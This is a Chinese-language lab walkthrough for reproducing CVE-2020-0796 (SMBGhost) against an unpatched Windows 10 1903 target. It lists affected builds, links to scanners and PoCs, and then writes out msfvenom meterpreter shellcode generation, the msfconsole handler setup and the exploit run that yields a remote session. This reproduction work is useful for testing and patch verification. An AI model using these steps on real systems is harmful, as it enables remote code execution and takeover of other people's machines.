漏洞描述
2020年3月10日,微软在其官方SRC发布了CVE-2020-0796的安全公告(ADV200005,MicrosoftGuidance for Disabling SMBv3 Compression),公告表示在Windows SMBv3版本的客户端和服务端存在远程代码执行漏洞。同时指出该漏洞存在于MicroSoft Server Message Block 3.1.1协议处理特定请求包的功能中,攻击者利用该漏洞可在目标SMB Server或者Client中执行任意代码。
影响版本
Windows 10 Version 1903 for 32-bit SystemsWindows 10 Version 1903 for x64-based SystemsWindows 10 Version 1903 for ARM64-based SystemsWindows Server, Version 1903 (Server Core installation)Windows 10 Version 1909 for 32-bit SystemsWindows 10 Version 1909 for x64-based SystemsWindows 10 Version 1909 for ARM64-based SystemsWindows Server, Version 1909 (Server Core installation)
漏洞检测
检测脚本
https://github.com/ollypwn/SMBGhost
奇安信检测脚本
http://dl.qianxin.com/skylar6/CVE-2020-0796-Scanner.zip
蓝屏的poc地址
https://github.com/eerykitty/CVE-2020-0796-PoC
环境搭建
Windows10-1903
ed2k://|file|cn_windows_10_business_editions_version_1903_x64_dvd_e001dd2c.iso|4815527936|47D4C57E638DF8BF74C59261E2CE702D|
首先使用systeminfo确定下主机有没有打过这个补丁KB4551762
漏洞复现
靶机:192.168.0.120(Win10 1903版本)Kali攻击机:192.168.0.116
使用检测工具检测是否存在该漏洞
下载利用脚本
https://github.com/chompie1337/SMBGhost_RCE_PoC.git
使用 msfvenom生成 shellcode
msfvenom -p windows/x64/meterpreter/bind_tcp lport=8888 -f py -o code.txt
然后将生成code里的buf替换为USER_PAYLOAD
然后把这一段代码粘贴到exploit.py脚本当中
MSF启动监听
msfconsoleuse exploit/multi/handler set payload windows/x64/meterpreter/bind_tcpset lport 8888set rhost 192.168.0.120show optionsrun
脚本运行,成功反弹回话
python3 exploit.py -ip 192.168.0.120
注意:POC打的过程中,容易出现蓝屏或者重启,使用时应注意!